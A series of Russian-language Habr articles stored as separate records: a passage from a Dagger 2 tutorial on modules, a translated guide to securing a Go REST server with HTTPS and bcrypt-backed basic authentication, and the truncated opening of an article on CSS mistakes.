Однако, чаще всего классы зависят не от *конкретных*, а от *абстрактных* классов и интерфейсов, не имеющих конструкторов, которые мог бы вызвать Dagger. Иногда изменить исходник класса для включения аннотации вообще не вариант. Еще бывает, что создание объекта требует большего количества действий, чем просто вызов конструктора. Во всех этих случаях автоматического поведения Dagger'а недостаточно и фреймворку требуется наша помощь.
В сегодняшней статье мы увидим, как предоставить Dagger'у дополнительные инструкции по созданию объектов посредством **модулей** (**module**). Модули взаимозаменяемы и могут быть использованы и в других проектах. Плюс они могут принимать аргументы в рантайме, что делает их еще более гибкими.
### Пример
Дабы проиллюстрировать описанную выше ситуацию, давайте вернемся к первому примеру из предыдущей статьи, где у нас было всего 3 класса: *WeatherReporter* и 2 его зависимости, *LocationManager* и *WeatherService*. Обе зависимости были конкретными классами. На практике этого может и не случиться.
Давайте предположим, что *WeatherService* — это интерфейс, и у нас есть еще один класс, скажем, *YahooWeather*, который имплементирует этот интерфейс:
```
package com.example;
public interface WeatherService {
}
```
```
package com.example;
import javax.inject.Inject;
public class YahooWeather implements WeatherService {
@Inject
public YahooWeather() {
}
}
```
Если мы снова попытаемся скомпилировать проект, Dagger выдаст ошибку и скажет, что он не может найти *provider* для *WeatherService*.
Когда класс конкретный и у него есть аннотированный конструктор, Dagger может автоматически сгенерировать *provider* для этого класса. Однако поскольку *WeatherService* — интерфейс, мы должны предоставить Dagger'у больше информации.
### Что такое модули?
**Модули** — это классы, способные создавать экземпляры определенных классов. Например, следующий модуль способен создавать по запросу объекты *WeatherService*, создавая экземпляр класса *YahooWeather*.
```
@Module
public class YahooWeatherModule {
@Provides
WeatherService provideWeatherService() {
return new YahooWeather();
}
}
```
Модули должны быть помечены аннотацией *@Module*. Некоторые из их методов, известные также как **provider-методы**, помечены аннотацией *Provides* для указания, что они могут предоставлять по запросу экземпляры определенного класса. Имена методов значения не имеют: Dagger смотрит лишь на сигнатуры.
Используя модули, мы совершенствуем Dagger'овские возможности создания объектов и разрешения зависимостей. Раньше в качестве зависимостей могли использоваться только конкретные классы с аннотированными конструкторами, а теперь, с модулем, любой класс может зависеть от интерфейса *WeatherService*. Нам осталось только подсоединить этот модуль к компоненту, который используется в точке входа нашего приложения:
```
@Component(modules = {YahooWeatherModule.class})
interface AppComponent {
WeatherReporter getWeatherReporter();
}
```
Проект снова компилируется. Каждый экземпляр *WeatherReporter*, созданный методом *getWeatherReporter*, создает экземпляр *YahooWeather*.
Мы можем создать один большой модуль, знающий о том, как создать любой абстрактный класс или интерфейс в приложении, или же множество небольших модулей, занятых созданием непосредственно связанных друг с другом классов. В этой серии статей мы будем использовать второй подход.
### Как подменять модули
Одно из самых интересных свойств модуля — это то, что он легко может быть заменен на любой другой. Это позволяет нам располагать множественными реализациями интерфейса в проекте и легко переключаться между ними.
Положим, у нас есть еще один класс, *WeatherChannel*, также реализующий *WeatherService*. Если мы захотим использовать этот класс в *WeatherReporter* взамен *YahooWeather*, мы можем написать новый модуль *WeatherChannelModule* и подставить в компонент именно его.
```
@Module
public class WeatherChannelModule {
@Provides
WeatherService provideWeatherService() {
return new WeatherChannel();
}
}
```
```
@Component(modules = {WeatherChannelModule.class})
public interface AppComponent {
WeatherReporter getWeatherReporter();
}
```
Замена модулей полезна, например, при написании интеграционных и функциональных тестов. Можно определить другой компонент, практически идентичный первому, но использующий несколько другие модули. Мы еще вернемся более подробно к этому вопросу в следующей статье.
Если мы попробуем подсоединить к компоненту два различных модуля, возвращающих один и тот же тип, Dagger выдаст ошибку компиляции, сообщив, что *тип привязан множество раз* (*type is bound multiple times*). Например, так сделать не выйдет:
```
@Component(modules = {WeatherChannelModule.class, YahooWeatherModule.class})
public interface AppComponent {
WeatherReporter getWeatherReporter();
}
```
Кроме того, поскольку Dagger 2 генерирует компоненты во время компиляции, модули не получится заменять в рантайме. Однако наша точка входа может иметь несколько компонентов в своем распоряжении и решать, от какого из них получать объекты, основываясь на конкретных условиях во время выполнения.
### Создание более сложных объектов
Теперь, когда мы знаем, как написать простенький модуль и что это вообще такое, приступим к написанию модулей, создающих более сложные объекты. Например, экземпляры классов, определенных третьей стороной (которые не могут быть изменены), имеющие зависимости или требующие конфигурирования.
#### Создание экземпляров сторонних (third-party) классов
Иногда изменить класс и добавить в него аннотацию невозможно. Например, класс является частью фреймворка или сторонней библиотеки. Также достаточно часто сторонние классы имеют сомнительный дизайн и не облегчают применение DI-фреймворков.
Предположим, наш *LocationManager* зависит от *GpsSensor*. А этот класс предоставлен компанией «Рога и копыта» и не может быть изменен. Усложним ситуацию еще больше: конструктор класса инициализирует его не полностью. После создания экземпляра класса, прежде чем его использовать, мы обязаны вызвать еще методы, такие как *calibrate*. Ниже исходники *LocationManager* и *GpsSensor*.
```
public class GpsSensor {
public GpsSensor() {
}
public void calibrate() {
}
}
```
```
public class LocationManager {
private final GpsSensor gps;
@Inject
public LocationManager(GpsSensor gps) {
this.gps = gps;
}
}
```
Обратите внимание, в *GpsSensor* нет аннотаций. Поскольку продукты известной компании *просто работают*, они не нуждаются во внедрении зависимостей или тестах.
Нам хотелось бы избежать вызова метода *calibrate* в конструкторе *LocationManager*, поскольку настройка *GpsSensor*'а — это не его обязанность. В идеале все принимаемые зависимости уже должны быть *готовы к использованию*. Кроме того, этот экземпляр *GpsSensor* может быть использован во многих местах, а «Рога и копыта» предупреждают, что множественный вызов *calibrate* приводит к крэшу.
Чтобы в дальнейшем использовать *GpsSensor*, не опасаясь последствий, мы можем написать модуль, чьей единственной обязанностью будет создать и настроить этот объект по запросу. Таким образом, любой класс может зависеть от *GpsSensor*, не беспокоясь о его инициализации.
```
@Module
public class GpsSensorModule {
@Provides
GpsSensor provideGpsSensor() {
GpsSensor gps = new GpsSensor();
gps.calibrate();
return gps;
}
}
```
#### Создание объектов с зависимостями
Иногда нашим модулям требуется создавать объекты с зависимостями. Создавать эти зависимости или заниматься их поиском — явно не обязанность модуля. Как и любой другой класс, он ожидает, что зависимости будут ему предоставлены в готовом виде.
Предположим, например, что классу *YahooWeather* для работы требуется *WebSocket*. Взглянем на код.
```
public class WebSocket {
@Inject
public WebSocket() {
}
}
```
```
public class YahooWeather implements WeatherService {
private final WebSocket socket;
@Inject
public YahooWeather(WebSocket socket) {
this.socket = socket;
}
}
```
Поскольку конструктор *YahooWeather* требует теперь передачи праметра, нам требуется изменить *YahooWeatherModule*. Необходимо так или иначе получить экземпляр *WebSocket* для вызова конструктора.
Вместо создания зависимости прямо внутри модуля, что свело бы на нет все преимущества DI, мы можем просто изменить сигнатуру provider'а. А Dagger уже сам позаботится о том, чтобы создать экземпляр *WebSocket*.
```
@Module
public class YahooWeatherModule {
@Provides
WeatherService provideWeatherService(WebSocket socket) {
return new YahooWeather(socket);
}
}
```
#### Создание объектов, требующих настройки конфигурации
Иногда модулю требуется создать объект, который должен быть каким-то образом сконфигурирован, а эта конфигурация требует информации, доступной только в рантайме.
Давайте представим, что конструктору *YahooWeather* требуется еще и ключ API.
```
public class YahooWeather implements WeatherService {
private final WebSocket socket;
private final String key;
public YahooWeather(String key, WebSocket socket) {
this.key = key;
this.socket = socket;
}
}
```
Как видите, мы удалили аннотацию *Inject*. Поскольку за создание *YahooWeather* теперь отвечает наш модуль, Dagger'у о конструкторе знать не требуется. Точно также он не знает, как автоматически внедрять параметр *String* (хотя это несложно сделать, как — увидим в будущей статье).
Если ключ API — константа, доступная после компиляции, например, в классе *BuildConfig*, возможно такое решение:
```
@Module
public class YahooWeatherModule {
@Provides
WeatherService provideWeatherService(WebSocket socket) {
return new YahooWeather(BuildConfig.YAHOO_API_KEY, socket);
}
}
```
Учтите, однако, что ключ API доступен только в рантайме. Например, он может быть аргументом командной строки. Эта информация может быть предоставлена модулю, как и любая другая зависисмость, через конструктор.
```
@Module
public class YahooWeatherModule {
private final String key;
public YahooWeatherModule(String key) {
this.key = key;
}
@Provides
WeatherService provideWeatherService(WebSocket socket) {
return new YahooWeather(key, socket);
}
}
```
Это немного осложняет жизнь Dagger'у, поскольку он теперь не в курсе, как создать такой модуль. Когда у модулей есть конструкторы без аргументов, Dagger легко может их инициализировать и использовать. В нашем же случае мы должны сами инициализировать наш модуль и передать его в пользование Dagger'у. Это можно сделать в точке входа в наше приложение:
```
public class Application {
public static void main(String args[]) {
String apiKey = args[0];
YahooWeatherModule yahoo = new YahooWeatherModule(apiKey);
AppComponent component = DaggerAppComponent.builder()
.yahooWeatherModule(yahoo)
.build();
WeatherReporter reporter = component.getWeatherReporter();
reporter.report();
}
}
```
В строках 3-4 мы получаем ключ API из аргументов командной строки и сами создаем экземпляр модуля. В строках 5-7 мы просим Dagger создать новый компонент, используя свежесозданный экземпляр модуля. Вместо вызова метода *create*, мы обращаемся к *builder*'у, передаем наш экземпляр модуля и наконец вызываем *build*.
Будь подобных модулей больше, нам пришлось бы подобным образом инициализировать и их до вызова *build*.
### Заключение
В сегодняшней статье мы рассмотрели, как можно управлять созданием объектов посредством модулей. Исходники для статьи доступны на [Github](https://github.com/iSoron/dagger2-examples/tree/master/part-2).
В следующей статье мы рассмотрим, как указать, что определенные зависимости могут быть использованы множестом объектов.
*Прим. от переводчика. Пока автор не написал продолжение, всем заинтересованным предлагаю продолжить знакомство с Dagger'ом по замечательной серии постов от [xoxol\_89](https://habrahabr.ru/users/xoxol_89/) ([ч.1](https://habrahabr.ru/post/279125/), [ч.2](https://habrahabr.ru/post/279641/))* | https://habr.com/ru/post/308040/ | null | ru | null |
# Разработка REST-серверов на Go. Часть 6: аутентификация
Перед вами — шестой материал из серии статей, посвящённых разработке REST-серверов на Go. Наша сегодняшняя тема — безопасность, а именно — аутентификация. Если бы сервер, разработанный в предыдущих материалах, был бы развёрнут, и к нему мог бы обратиться кто угодно, то у любого, имеющего выход в интернет, был бы полный доступ к его API. Хотя некоторым REST-серверам это вполне подходит, такой сценарий работы с сервером желателен далеко не всегда. Обычно как минимум часть API должна быть защищена таким образом, чтобы доступ к ней могли бы получить лишь аутентифицированные пользователи.
[](https://habr.com/ru/company/ruvds/blog/567280/)
**Предыдущие части:**
[Разработка REST-серверов на Go. Часть 1: стандартная библиотека](https://habr.com/ru/company/ruvds/blog/559816/)
[Разработка REST-серверов на Go. Часть 2: применение маршрутизатора gorilla/mux](https://habr.com/ru/company/ruvds/blog/561108/)
[Разработка REST-серверов на Go. Часть 3: использование веб-фреймворка Gin](https://habr.com/ru/company/ruvds/blog/562878/)
[Разработка REST-серверов на Go. Часть 4: применение OpenAPI и Swagger](https://habr.com/ru/company/ruvds/blog/564508/)
[Разработка REST-серверов на Go. Часть 5: Middleware](https://habr.com/ru/company/ruvds/blog/566198/)
[**Вы тут** — Разработка REST-серверов на Go. Часть 6: аутентификация](https://habr.com/ru/company/ruvds/blog/567280/)
Аутентификация и авторизация
----------------------------
Когда говорят об аутентификации, используя сокращение «auth», речь может идти об одном из двух следующих понятий:
* Аутентификация (authentication, authn) — предоставления доступа к API только зарегистрированным (известным системе) пользователям.
* Авторизация (authorization, authz) — предоставление неких возможностей системы пользователям в зависимости от того, какие именно разрешения они имеют на сервере.
При описании различий этих понятий я обычно использую аналогию из мира Unix. Аутентификация — это вход в систему с использованием имени и пароля. Авторизация — это разрешения на чтение, запись и выполнение, имеющие отношение к конкретным файлам и директориям. Некоторые файлы доступны лишь конкретным пользователям, некоторые видны всем членам неких групп пользователей, но, в то же время, существуют пользователи root, у которых есть полный доступ абсолютно ко всему.
Здесь мы уделим основное внимание аутентификации, так как это, в сравнении с авторизацией, понятие более фундаментальное, и так как прежде чем пользователя можно будет авторизовать, он должен пройти процедуру аутентификации. После того, как на сервере будет реализован механизм аутентификации, оснастить его системой авторизации обычно довольно просто, хотя то, как будет выглядеть система авторизации некоего проекта, очень сильно зависит от особенностей самого проекта.
HTTPS/TLS как основа системы аутентификации
-------------------------------------------
Если в наши дни кто-то решит создать систему аутентификации в некоей службе, подключиться к которой можно через интернет, основой этой системы должен быть протокол TLS. И если вы сможете запомнить лишь одну единственную идею из этой статьи — запомните именно эту. TLS — это краеугольный камень безопасности общедоступных интернет-сервисов. Этот камень вытесан в ходе долгой истории борьбы с реальными и потенциальными угрозами. Никогда, ни при каких обстоятельствах, не создавайте собственные системы криптографической защиты информации.
В случае с REST-серверами, такими, как наш, работа с которыми осуществляется по HTTP, в роли транспортного протокола должен использоваться HTTPS. О том, как оснастить Go-сервер поддержкой HTTPS, я уже кое-что [писал](https://eli.thegreenplace.net/2021/go-https-servers-with-tls/).
Реализация базовой схемы аутентификации HTTP через HTTPS
--------------------------------------------------------
В HTTP уже давно есть базовая схема аутентификации. Самый свежий документ, описывающий её — это [RFC 7617](https://datatracker.ietf.org/doc/html/rfc7617). Саму по себе эту схему аутентификации применять категорически не рекомендуется, та как при её использовании имя пользователя и пароль передаются по сети в виде обычного текста (весьма слабо замаскированного кодировкой base64).
Правда, в наши дни базовая схема аутентификации, если она используется через HTTPS, может быть вполне безопасной.
Тут мне хотелось бы сделать одно, как я считаю, обязательное примечание. Я не являюсь экспертом в области безопасности. Главная цель этого материала — рассмотрение механизмов настройки аутентификации в Go с использованием HTTPS, а не глубокое исследование вопросов информационной безопасности.
Я, готовясь к написанию этой статьи, прочёл несколько материалов о защите информации и пришёл к выводу о том, что использование базовой схемы аутентификации HTTP через TLS — это безопасно. Есть масса тонкостей, о которых нужно знать при использовании базовой схемы аутентификации в браузере (когда браузер выводит серое окно), но эти тонкости редко имеют отношение к защите REST API. Единственный пример здравой критики этой схемы, обнаруженный мной, заключается в том, что отправка пароля с каждым запросом расширяет окно атаки. Это правда, но альтернативы такому подходу, вроде хранения состояния соединения и использования токенов, мне не кажутся достаточно близкими духу REST-серверов. Предполагается, что REST — это архитектура ПО, при использовании которой сведения о состоянии запросов не хранятся.
Если взглянуть на API больших сервисов, вроде Stack Overflow или GitHub, то можно сказать, что они обычно используют секретные токены, генерируемые при входе в систему. Такие токены включаются в каждый запрос, и они, как правило, не сильно отличаются от паролей. Единственное преимущество токенов перед паролями заключается в том, что токены легче аннулировать. Пользователь может иметь несколько токенов, предназначенных для разных нужд и рассчитанных на различные «уровни доступа». Применение токенов, кроме того, избавляет от необходимости обрабатывать пароли с использованием алгоритма bcrypt, что может положительно сказаться на задержках сервера при ответах на запросы (так как bcrypt, по своей природе, медленный алгоритм).
Если вы собираетесь пользоваться тем, о чём я расскажу, при разработке какого-то важного приложения или API — проконсультируйтесь, пожалуйста, с экспертом по информационной безопасности.
Вернёмся к нашим делам. После того, как устанавливается HTTPS-соединение, все данные, передаваемые между серверами и клиентами, оказываются надёжно зашифрованными. Поэтому тут не нужны дополнительные уровни защиты. Переусложнение системы способно сделать её более уязвимой, а не более защищённой.
Базовая схема аутентификации HTTP, на самом деле, весьма проста. Если на сервер поступает неаутентифицированный HTTP-запрос, сервер отправляет клиенту ответ с заголовком `WWW-Authenticate`. Клиент после этого может отправить серверу ещё один запрос, содержащий всё, что нужно для аутентификации, воспользовавшись заголовком `Authorization`.
Взглянем на [код](https://github.com/eliben/code-for-blog/blob/master/2021/go-rest-servers/auth/basic-sample/https-basic-auth-server.go). Рассмотрим простой пример Go-сервера с поддержкой HTTPS, в котором доступ к пути `secret/` защищён с использованием базовой схемы аутентификации:
```
func main() {
addr := flag.String("addr", ":4000", "HTTPS network address")
certFile := flag.String("certfile", "cert.pem", "certificate PEM file")
keyFile := flag.String("keyfile", "key.pem", "key PEM file")
flag.Parse()
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) {
if req.URL.Path != "/" {
http.NotFound(w, req)
return
}
fmt.Fprintf(w, "Proudly served with Go and HTTPS!\n")
})
mux.HandleFunc("/secret/", func(w http.ResponseWriter, req *http.Request) {
user, pass, ok := req.BasicAuth()
if ok && verifyUserPass(user, pass) {
fmt.Fprintf(w, "You get to see the secret\n")
} else {
w.Header().Set("WWW-Authenticate", `Basic realm="api"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
}
})
srv := &http.Server{
Addr: *addr,
Handler: mux,
TLSConfig: &tls.Config{
MinVersion: tls.VersionTLS13,
PreferServerCipherSuites: true,
},
}
log.Printf("Starting server on %s", *addr)
err := srv.ListenAndServeTLS(*certFile, *keyFile)
log.Fatal(err)
}
```
Если вы не очень хорошо ориентируетесь в вопросах настройки сертификатов и TLS — взгляните на [этот](https://eli.thegreenplace.net/2021/go-https-servers-with-tls/) мой материал. Тут я сосредоточусь лишь на обработчике запросов для пути `secret/`:
```
mux.HandleFunc("/secret/", func(w http.ResponseWriter, req *http.Request) {
user, pass, ok := req.BasicAuth()
if ok && verifyUserPass(user, pass) {
fmt.Fprintf(w, "You get to see the secret\n")
} else {
w.Header().Set("WWW-Authenticate", `Basic realm="api"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
}
})
```
В net/http встроена поддержка базовой схемы аутентификации, система сама разбирает соответствующий заголовок запроса. Она извлекает из него имя пользователя и пароль, после чего даёт к ним доступ через метод `BasicAuth`. Скоро мы подробнее обсудим `verifyUserPass`, а пока давайте поговорим о том, что делает сервер в ситуации, когда верифицировать пользователя не удаётся. Сервер в такой ситуации отправляет ответ с кодом 401 (Unauthorized). Он устанавливает заголовок этого ответа `WWW-Authenticate` для того чтобы указать на то, что он использует базовую аутентификацию в области `api`. Наименование области даётся произвольно, его может выбрать сервер. Предполагается, что это — описание того, какого рода авторизация требуется в том случае, если сервер имеет несколько различных доменов безопасности. Конкретное значение не имеет смысла на данном уровне протокола — тут сервер и клиент полностью друг друга понимают.
Вот — код функции `verifyUserPass`. Она имитирует работу системы проверки имён и паролей, выполняя проверку с использованием данных двух известных ей пользователей:
```
var usersPasswords = map[string][]byte{
"joe": []byte("$2a$12$aMfFQpGSiPiYkekov7LOsu63pZFaWzmlfm1T8lvG6JFj2Bh4SZPWS"),
"mary": []byte("$2a$12$l398tX477zeEBP6Se0mAv.ZLR8.LZZehuDgbtw2yoQeMjIyCNCsRW"),
}
// verifyUserPass проверяет, что имя пользователя и пароль соответствуют друг другу,
// сверяясь с нашей "базой данных" userPasswords.
func verifyUserPass(username, password string) bool {
wantPass, hasUser := usersPasswords[username]
if !hasUser {
return false
}
if cmperr := bcrypt.CompareHashAndPassword(wantPass, []byte(password)); cmperr == nil {
return true
}
return false
}
```
Хеш-таблица `usersPasswords` символизирует некую базу данных, которая может использоваться на реальном сервере. Самое важное, на что тут надо обратить внимание, это — использование пакета bcrypt для хеширования паролей. Ни при каких условиях не храните пароли в виде обычного текста. Для их хранения всегда нужно использовать какой-нибудь механизм хеширования. Это поможет смягчить последствия утечки данных в том случае, если злоумышленники получат доступ к базе данных некоего сервиса. Алгоритм [bcrypt](https://en.wikipedia.org/wiki/Bcrypt) — это детально продуманный механизм хеширования паролей, в котором предусмотрено несколько уровней защиты:
* Этот алгоритм устойчив к атакам по времени (когда злоумышленник может собрать сведения о пароле, тщательно оценивая время, необходимое на подтверждение пароля).
* В нём используется [криптографическая соль](https://en.wikipedia.org/wiki/Salt_(cryptography)), что позволяет защититься от атак методом грубой силы с применением радужных таблиц.
* Он преднамеренно создан медленным, что, в общем случае, усложняет атаки методом грубой силы.
Пользователь, как разумно будет предположить, регистрируется в нашем сервисе (или получает имя пользователя и пароль как-то иначе). В момент получения пароля [вычисляется](https://pkg.go.dev/golang.org/x/crypto/bcrypt#GenerateFromPassword) и сохраняется в базе данных его bcrypt-хеш. Сервер не хранит пароль в виде обычного текста.
Запустим этот сервер на локальной машине:
```
$ go run /usr/local/go/src/crypto/tls/generate_cert.go --ecdsa-curve P256 --host localhost
2021/05/08 06:51:57 wrote cert.pem
2021/05/08 06:51:57 wrote key.pem
$ go run https-basic-auth-server.go
2021/05/08 06:52:16 Starting server on :4000
```
Теперь его можно протестировать с помощью `curl`. Попробуем сначала обратиться к корневому пути — чтобы проверить работоспособность TLS:
```
$ curl --cacert cert.pem https://localhost:4000/
Proudly served with Go and HTTPS!
```
Можно попробовать обратиться к пути `secret/` без использования аутентификации:
```
$ curl --cacert cert.pem https://localhost:4000/secret/
Unauthorized
```
И наконец — выполним запрос по тому же пути, используя учётные данные пользователя `joe`. Пароль этого пользователя — `1234`, ожидается, что в соответствующем заголовке строка `joe:1234` будет представлена в кодировке base64:
```
$ echo -n "joe:1234" | base64
am9lOjEyMzQ=
$ curl --cacert cert.pem -H "Authorization: Basic am9lOjEyMzQ=" https://localhost:4000/secret/
You get to see the secret
```
Тут показана ручная установка этого заголовка, но `curl` может настроить его и самостоятельно — если мы передадим этой утилите `--user joe:1234`.
Всё работает как надо! Вот, для полноты изложения, [код](https://github.com/eliben/code-for-blog/blob/master/2021/go-rest-servers/auth/basic-sample/https-basic-auth-client.go) Go-клиента, который можно использовать для работы с нашим сервером:
```
func main() {
addr := flag.String("addr", "localhost:4000", "HTTPS server address")
certFile := flag.String("certfile", "cert.pem", "trusted CA certificate")
user := flag.String("user", "", "username")
pass := flag.String("pass", "", "password")
flag.Parse()
// Читаем сертификат доверенного CA из файла и настраиваем клиент с использованием TLS
// так, чтобы он доверял бы серверу, подписанному этим сертификатом.
cert, err := os.ReadFile(*certFile)
if err != nil {
log.Fatal(err)
}
certPool := x509.NewCertPool()
if ok := certPool.AppendCertsFromPEM(cert); !ok {
log.Fatalf("unable to parse cert from %s", *certFile)
}
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
RootCAs: certPool,
},
},
}
// Настраиваем работу HTTPS-запросов с использованием базовой аутентификации.
req, err := http.NewRequest(http.MethodGet, "https://"+*addr, nil)
if err != nil {
log.Fatal(err)
}
req.SetBasicAuth(*user, *pass)
resp, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
html, err := io.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
fmt.Println("HTTP Status:", resp.Status)
fmt.Println("Response body:", string(html))
}
```
Тут интересно будет обратить внимание на вызов метода `Request.SetBasicAuth` с передачей ему имени и пароля, заданных в командной строке при запуске клиента. Этот вызов выполняет кодирование данных и настраивает соответствующий заголовок. При условии, что сервер всё ещё работает, мы можем запустить вышеописанный клиентский код:
```
$ go run https-basic-auth-client.go -user joe -pass 1234 -addr localhost:4000/secret/
HTTP Status: 200 OK
Response body: You get to see the secret
```
А если использовать неправильный пароль — доступ нам получить не удастся:
```
$ go run https-basic-auth-client.go -user joe -pass 1238 -addr localhost:4000/secret/
HTTP Status: 401 Unauthorized
Response body: Unauthorized
```
Сервер системы управления задачами, использующий HTTPS, и аутентификационное ПО промежуточного уровня, применяемое к отдельным маршрутам
----------------------------------------------------------------------------------------------------------------------------------------
Теперь, когда мы немного освоили защиту REST-серверов с использованием HTTPS и базовой схемы аутентификации, вернёмся к исходному коду сервера и усовершенствуем его, оснастив защитным механизмом.
Полный код сервера можно найти [здесь](https://github.com/eliben/code-for-blog/tree/master/2021/go-rest-servers/auth/taskstore-auth). Я для этого примера выбрал вариант сервера `gorilla-middleware` из пятой части этой серии статей и оснастил его поддержкой HTTPS и базовой схемы аутентификации. Основные изменения произведены в функции `main`. Ниже приведён её обновлённый вариант. Изменённые строки выделены.
```
func main() {
certFile := flag.String("certfile", "cert.pem", "certificate PEM file")
keyFile := flag.String("keyfile", "key.pem", "key PEM file")
flag.Parse()
router := mux.NewRouter()
router.StrictSlash(true)
server := NewTaskServer()
// Путь "createTask" защищён с помощью ПО промежуточного уровня BasicAuth.
router.Handle("/task/",
middleware.BasicAuth(http.HandlerFunc(server.createTaskHandler))).Methods("POST")
router.HandleFunc("/task/", server.getAllTasksHandler).Methods("GET")
router.HandleFunc("/task/", server.deleteAllTasksHandler).Methods("DELETE")
router.HandleFunc("/task/{id:[0-9]+}/", server.getTaskHandler).Methods("GET")
router.HandleFunc("/task/{id:[0-9]+}/", server.deleteTaskHandler).Methods("DELETE")
router.HandleFunc("/tag/{tag}/", server.tagHandler).Methods("GET")
router.HandleFunc("/due/{year:[0-9]+}/{month:[0-9]+}/{day:[0-9]+}/", server.dueHandler).Methods("GET")
// Настройка ПО промежуточного уровня для логирования и обработки ошибок panic для всех путей.
router.Use(func(h http.Handler) http.Handler {
return handlers.LoggingHandler(os.Stdout, h)
})
router.Use(handlers.RecoveryHandler(handlers.PrintRecoveryStack(true)))
addr := "localhost:" + os.Getenv("SERVERPORT")
srv := &http.Server{
Addr: addr,
Handler: router,
TLSConfig: &tls.Config{
MinVersion: tls.VersionTLS13,
PreferServerCipherSuites: true,
},
}
log.Printf("Starting server on %s", addr)
log.Fatal(srv.ListenAndServeTLS(*certFile, *keyFile))
}
```
Поговорим об изменениях, внесённых в эту функцию:
* Во-первых — мы добавили сюда флаги для установки сертификата и файлов ключей для TLS.
* Мы обернули обработчик `createTaskHandler`, ответственный за создание задач, в `middleware.BasicAuth`. Ниже мы рассмотрим код этого ПО промежуточного уровня. Тут, кроме того, показана настройка ПО промежуточного уровня для отдельных маршрутов при использовании маршрутизатора gorilla/mux. Несложно сделать так, чтобы аутентификация требовалась бы для доступа ко всем путям, но тут я всего лишь хочу показать защиту отдельного пути.
* Мы настроили сервер на использование HTTPS.
Вот код ПО промежуточного уровня `BasicAuth` (этот код очень похож на [код](https://pkg.go.dev/github.com/gin-gonic/gin#BasicAuth) аналогичного ПО из фреймворка Gin):
```
// UserContextKey - это ключ в контексте запроса, который используется для проверки того,
// есть ли в запросе сведения об аутентифицированном пользователе. ПО запишет в этот ключ
// имя пользователя в том случае, если пользователь был нормально аутентифицирован с использованием пароля.
const UserContextKey = "user"
// BasicAuth - это ПО промежуточного уровня, проверяющее запрос на предмет правильного использования в нём
// механизма базовой аутентификации с применением пары user:password, проверенной authdb.
func BasicAuth(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
user, pass, ok := req.BasicAuth()
if ok && authdb.VerifyUserPass(user, pass) {
newctx := context.WithValue(req.Context(), UserContextKey, user)
next.ServeHTTP(w, req.WithContext(newctx))
} else {
w.Header().Set("WWW-Authenticate", `Basic realm="api"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
}
})
}
```
Этот код должен вам кое-что напоминать, а именно — код обработчика `secret/` из предыдущего примера. Единственное изменение заключается в том, что ПО промежуточного уровня прикрепляет ключ к контексту запроса в том случае, если аутентификация прошла успешно. В нашем случае обработчик не пользуется этим ключом, но в более продвинутых приложениях он может им воспользоваться. Например, этот ключ может использоваться для авторизации в том случае, если у разных пользователей имеются разные права доступа к конкретным путям.
И, наконец, обратите внимание на то, что тут используется функция `VerifyUserPass` из пакета authdb, которая очень похожа на то, что было в нашем более раннем примере. Поэтому тут я её подробно не рассматриваю. В коде настоящего сервера authdb представлял бы собой абстракцию для таблицы базы данных, где имена пользователей были бы сопоставлены с их паролями, обработанными с помощью bcrypt.
Итоги
-----
В предыдущих частях этой серии материалов мы создали несколько вариантов REST-сервера с применением различных подходов и фреймворков. Ни один из этих серверов не был защищённым, так как все они использовали незашифрованные HTTP-соединения, и из-за того, что в них не были реализованы системы аутентификации пользователей.
Здесь мы создали защищённую версию нашего сервера, используя HTTPS и базовую схему аутентификации. Эта техника может быть применена к любому из разработанных ранее вариантов сервера, так как при её реализации используется очень мало зависимостей. Фактически, единственной зависимостью, выходящей за пределы стандартной библиотеки Go, является `x/crypto/bcrypt`. Здесь `x/` традиционно считается расширением стандартной библиотеки, поддержкой которого, в основном, занимается команда разработчиков Go.
Здесь, намеренно, продемонстрирован простой подход к защите серверов. Дело в том, что при настройке аутентификации используется множество сложных механизмов и инструментов — сессии, хранение состояния на клиенте (куки-файлы, JWT), хранение состояния на сервере и многое другое. Опыт подсказывает мне, что к REST-серверам применим далеко не весь этот арсенал. В случае с REST-серверами каждый запрос должен быть изолирован от других запросов, а механизм сессий не очень хорошо с этим согласуется. При разработке защищённых REST-серверов подходит базовая схема аутентификации HTTP, хотя возможны и улучшения механизмов аутентификации, основанных на этой схеме. Например, вместо паролей можно использовать токены, что позволит легче управлять сроком действия аутентификационных данных. Ещё можно передать решение задачи аутентификации стороннему сервису (например — с использованием OAuth 2.0).
**Все переводы этой серии:**
[Разработка REST-серверов на Go. Часть 1: стандартная библиотека](https://habr.com/ru/company/ruvds/blog/559816/)
[Разработка REST-серверов на Go. Часть 2: применение маршрутизатора gorilla/mux](https://habr.com/ru/company/ruvds/blog/561108/)
[Разработка REST-серверов на Go. Часть 3: использование веб-фреймворка Gin](https://habr.com/ru/company/ruvds/blog/562878/)
[Разработка REST-серверов на Go. Часть 4: применение OpenAPI и Swagger](https://habr.com/ru/company/ruvds/blog/564508/)
[Разработка REST-серверов на Go. Часть 5: Middleware](https://habr.com/ru/company/ruvds/blog/566198/)
[**Вы тут** — Разработка REST-серверов на Go. Часть 6: аутентификация](https://habr.com/ru/company/ruvds/blog/567280/)
Как вы организуете аутентификацию на своих REST-серверах?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevodguru&utm_content=razrabotka_rest-serverov_na_go._chast_6:_autentifikaciya) | https://habr.com/ru/post/567280/ | null | ru | null |
# HTML и CSS ошибки, которые я встречаю как человек без ограничений по здоровью
Сейчас много шума по поводу доступности интерфейсов. Здорово, что люди обращают на это внимание и начинают разрабатывать интерфейсы, которыми могут пользоваться люди с какими-то ограничениями.
Но мы забываем про людей, у которых нет ограничений по здоровью. У них также есть право пользоваться интерфейсами так, как им удобно. Поэтому я хочу рассказать про несколько случаев, когда я встречаю недоступные интерфейсы, как человек без ограничений по здоровью.
Не добавляете background-color для блока с фоновым изображением
---------------------------------------------------------------
Когда я ехал домой, захотел посмотреть сайт жилого комплекса, где рассматривал квартиру. Пока грузился сайт, я по традиции, видел белый экран.
